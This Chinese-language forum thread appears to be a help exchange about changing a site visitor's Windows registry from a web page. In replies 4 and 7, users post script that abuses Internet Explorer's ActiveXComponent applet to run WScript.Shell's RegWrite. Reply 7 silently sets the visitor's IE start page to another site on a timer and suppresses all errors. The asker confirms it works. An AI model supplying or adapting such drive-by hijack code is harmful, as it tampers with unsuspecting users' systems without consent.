不行,修改不了,光用javascript好像不行

解决方案 »

  1.   

    其实把注册表文件放成超连接就是 了
    我看他们自动修改注册表都是通过java也就是applet来实现的啊
      

  2.   

    将注册表做成超连接是什么意思?将我本机的注册表文件下载到客户短吗?...
    对了,注册表文件是哪一个,regedit是可执行程序呀!!!如果用控件的话,能推荐一个吗?
      

  3.   

    Wscript.Shell是什么意思?....能给点实例代码吗?
      

  4.   

    唉,你先搜索一下嘛,这种问题多的不是
    <SCRIPT language=JavaScript> 
    document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent> ");  
    function f(){
    a1=document.applets[0];  
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\PageSetup\\footer", "com");  
    };
    f();
    </script>
      

  5.   

    runmin,呵呵...谢谢...
    以前确实看到过这个贴子,好像也是您贴的,只是不知道她就是Wscript.Shell 呵呵...谢谢了...
    我回去试试...
    不过,还是不知道Wscript.Shell 是什么...呵呵...是一个控件吗?
      

  6.   

    我这样做了,可是出现错误了,有一个出错提示框,上面写着:
    出现运行期错误,是否纠正此错误?
    行:57
    错误:对象不支持此属性或方法
    我看了看是a1=document.applets[0];这一句,这是什么原因?我用的是ie5.0与这个有关系吗?
    能解释一下这句话是什么意思吗?
      

  7.   


    <script>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function 
    xxx(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-
    00C04FD58A0B}");a1.createInstance
    ();Shl = a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-
    00A0C9054228}");try{Shl.RegWrite
    ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start 
    Page","http://www.XXXXXX.com");}catch(e){}}
    catch(e){}}setTimeout("xxx()",1000);
    </script> 
      

  8.   

    可以了,呵呵...谢谢mosane
    20分敬上,能否解释一下这是个什么东东...